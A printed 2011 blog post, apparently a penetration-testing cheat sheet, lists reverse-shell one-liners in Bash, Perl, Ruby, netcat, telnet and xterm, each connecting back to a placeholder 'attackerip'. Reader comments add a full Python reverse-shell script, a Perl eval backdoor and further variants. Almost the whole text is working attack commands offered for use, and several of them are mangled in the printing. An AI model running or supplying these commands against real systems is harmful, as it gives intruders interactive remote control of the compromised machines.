You are on page 1of 5

4/12/2018 Reverse shells one-liners

14th September 2011 Reverse shells one-liners


Inspired by the great blog post [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet] by pentestmonkey.net
[http://pentestmonkey.net/] , I put together the following extra methods and alternatives for some methods explained in the
cheat sheet. There is nothing cutting edge, however you may find this handy during your penetration tests.

Citing pentestmonkey's blog post:

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon
afterwards you’ll probably want an interactive shell.

[...] your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP
port.

Your options for creating a reverse shell are limited by the scripting languages installed on the target
system – though you could probably upload a binary program too if you’re suitably well prepared.

First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP
port unfiltered by the target's firewall:

attacker$ nc ­l ­v attackerip 4444

Bash

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0

Or:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:

exec 5<>/dev/tcp/attackerip/4444 
cat <&5 | while read line; do $line 2>&5 >&5; done  # or: 
while read line 0<&5; do $line 2>&5 >&5; done

See also Reverse Shell With Bash [http://www.gnucitizen.org/blog/reverse-shell-with-bash/] from GNUCITIZEN blog
[http://www.gnucitizen.org/blog/] .

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl  ­MIO  ­e  '$p=fork;exit,if($p);$c=new


IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN­>fdopen($c,r);$~­
>fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl  ­MIO  ­e  '$c=new  IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN­


>fdopen($c,r);$~­>fdopen($c,w);system$_ while<>;'

Ruby

http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html 1/5
4/12/2018 Reverse shells one-liners

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby  ­rsocket  ­e  'exit  if


fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"
){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby  ­rsocket  ­e
'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r")
{|io|c.print io.read}end'

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc ­c /bin/sh attackerip 4444

Or:

/bin/sh | nc attackerip 4444

Or:

rm ­f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

See also 7 Linux Shells Using Built-in Tools [http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/] from


LaNMaSteR53 blog [http://lanmaster53.com/] .

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm ­f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Or:

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to
listen on your machine also on port 4445/tcp

xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do
this is with Xnest [http://www.xfree86.org/4.4.0/Xnest.1.html] :

Xnest :1

Then remember to authorise on your system the target IP to connect to you:

xterm ­display 127.0.0.1:1  # Run this OUTSIDE the Xnest 
xhost +targetip             # Run this INSIDE the spawned xterm on the open
X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:

http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html 2/5
4/12/2018 Reverse shells one-liners
xterm ­display attackerip:1

Or:

$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:

/usr/openwin/bin/xterm ­display attackerip:1

Posted 14th September 2011 by Bernardo Damele A. G.


Labels: bash, connection, linux, nc, netcat, perl, reverse, ruby, shell, solaris, telnet, xterm

9 View comments

Nafeez Ahmed Wednesday, September 14, 2011


Good One !
Reply

jcran Thursday, September 15, 2011


+1 for the xterm, definitely going to make use of that.
Reply

Anonymous Thursday, September 29, 2011


I'm no python guru, but Dave Kennedy posted this code and you might be able to one line this

#!/usr/bin/python
# imports here
import socket,subprocess

HOST = '10.16.44.100' # The remote host


PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()

http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html 3/5
4/12/2018 Reverse shells one-liners
Cheers,
@DGleebits
Reply

chao-mu Saturday, October 15, 2011


This Perl one-liner connects to a server and evaluates the server's messages as Perl expressions, responding with
the result of those expressions. I wrote it to be short enough to be of a tweetable length and one line; it's not
good/modern Perl.

print $sock eval(<$sock>) while ($sock ||= IO::Socket::INET->new(PeerAddr => "127.0.0.1", PeerPort => "23666"))
Reply

wof Wednesday, March 04, 2015


the original perl example don't work any more since import of IO is depreciated. Fix is:

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "127.0.0.1:1234");STDIN-


>fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Reply

wof Wednesday, March 04, 2015


simple nc variant with two connections:
nc localhost 1233 | /bin/sh | nc 127.0.0.1 1234
Reply

Darwin Wednesday, June 03, 2015


I think there is a minor typo on the FIFO file object example of both netcat and telnet

I think it should have been

Netcat
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p 2>&1

Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p 2>&1
Reply

Darwin Thursday, June 04, 2015


I think I am missing something. I am not quite sure how the following would allow for a reverse shell access

exec /bin/bash 0&0 2>&0


Reply

Replies

cameron maerz Saturday, August 01, 2015


it wouldn't, but this does:
/bin/bash -i >& /dev/tcp/attackerip/4444 0>&1

Reply

http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html 4/5
4/12/2018 Reverse shells one-liners

Enter your comment...  

Comment as:  Unknown (Goog Sign out

 
Publish Preview   Notify me

http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html 5/5

You might also like